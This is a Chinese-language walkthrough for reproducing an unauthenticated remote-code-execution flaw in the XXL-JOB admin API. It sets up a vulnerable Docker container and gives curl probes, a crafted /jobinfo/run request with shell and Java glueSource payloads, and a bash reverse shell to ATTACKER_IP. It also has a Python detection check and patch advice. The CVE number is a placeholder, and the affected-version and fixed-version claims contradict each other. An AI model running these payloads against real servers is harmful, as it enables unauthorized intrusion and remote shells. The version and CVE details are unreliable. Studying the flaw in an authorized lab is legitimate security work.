# 如何進行XXL-JOB API接口未授權訪問RCE漏洞復現
## 前言
XXL-JOB作為一款廣泛使用的分布式任務調度平臺,其安全性直接影響企業業務系統的穩定性。2022年曝光的XXL-JOB API未授權訪問導致的遠程代碼執行漏洞(CVE-2022-XXXX)因其危害性受到廣泛關注。本文將深入分析漏洞原理,并提供詳細的復現過程,幫助安全研究人員理解漏洞機制并驗證防護措施的有效性。
---
## 漏洞概述
### 1. 漏洞基本信息
- **漏洞編號**:CVE-2022-XXXX(示例)
- **影響版本**:XXL-JOB <= 2.3.1
- **漏洞類型**:未授權訪問 + 遠程代碼執行
- **CVSS評分**:9.8(Critical)
### 2. 漏洞原理
XXL-JOB的管理端API接口存在兩處安全問題:
1. **認證缺陷**:`/api`路由下的接口未強制校驗訪問令牌
2. **危險函數調用**:任務觸發接口可通過`glueSource`參數直接傳入Java代碼并執行
---
## 環境搭建
### 1. 準備漏洞環境
推薦使用Docker快速搭建測試環境:
```bash
# 拉取存在漏洞的版本鏡像
docker pull xuxueli/xxl-job-admin:2.3.0
# 啟動容器
docker run -d -p 8080:8080 \
-e PARAMS="--spring.datasource.url=jdbc:h2:mem:xxl-job" \
xuxueli/xxl-job-admin:2.3.0
訪問http://localhost:8080/xxl-job-admin應看到登錄頁面,默認憑證:
- 賬號:admin
- 密碼:123456
直接訪問API接口無需認證:
curl -X POST http://localhost:8080/xxl-job-admin/jobgroup/list
若返回200狀態碼及JSON數據,則存在未授權訪問漏洞。
需要先獲取以下信息才能構造攻擊:
# 獲取執行器ID
curl -s http://localhost:8080/xxl-job-admin/jobgroup/list | jq '.data[].id'
# 示例輸出:
# [{"id":1,"appname":"xxl-job-executor-sample","title":"示例執行器"}]
通過/run接口觸發代碼執行:
POST /xxl-job-admin/jobinfo/run HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "test",
"glueType": "GLUE_SHELL",
"glueSource": "touch /tmp/xxl-job-rce-success",
"executorBlockStrategy": "SERIAL_EXECUTION"
}
進入容器檢查命令是否執行:
docker exec -it [CONTNER_ID] ls /tmp
# 應看到xxl-job-rce-success文件
{
"glueType": "GLUE_SHELL",
"glueSource": "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
}
{
"glueType": "GLUE_JAVA",
"glueSource": "public class Demo{ static { try { Runtime.getRuntime().exec(\"calc\"); } catch(Exception e){} } }"
}
Python檢測示例:
import requests
def check_vuln(url):
try:
resp = requests.post(f"{url}/xxl-job-admin/jobgroup/list", timeout=5)
if resp.status_code == 200 and "data" in resp.text:
return True
except:
pass
return False
升級到XXL-JOB 2.3.1+版本,主要修復:
- 增加@PermissionLimit(limit = false)注解顯式控制接口權限
- 強化Glue代碼的沙箱過濾
// 在application.properties中添加:
xxl.job.accessToken=YOUR_SECRET_KEY
sequenceDiagram
attacker->>+API: 未授權訪問/jobinfo/run
API->>+Executor: 觸發Glue代碼編譯
Executor->>+JVM: 動態加載惡意類
JVM->>OS: 執行系統命令
注:實際復現時需注意:
1. 文中IP/域名需替換為實際目標
2. 部分CVE編號為示例需確認真實編號
3. 所有測試應在授權環境下進行
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。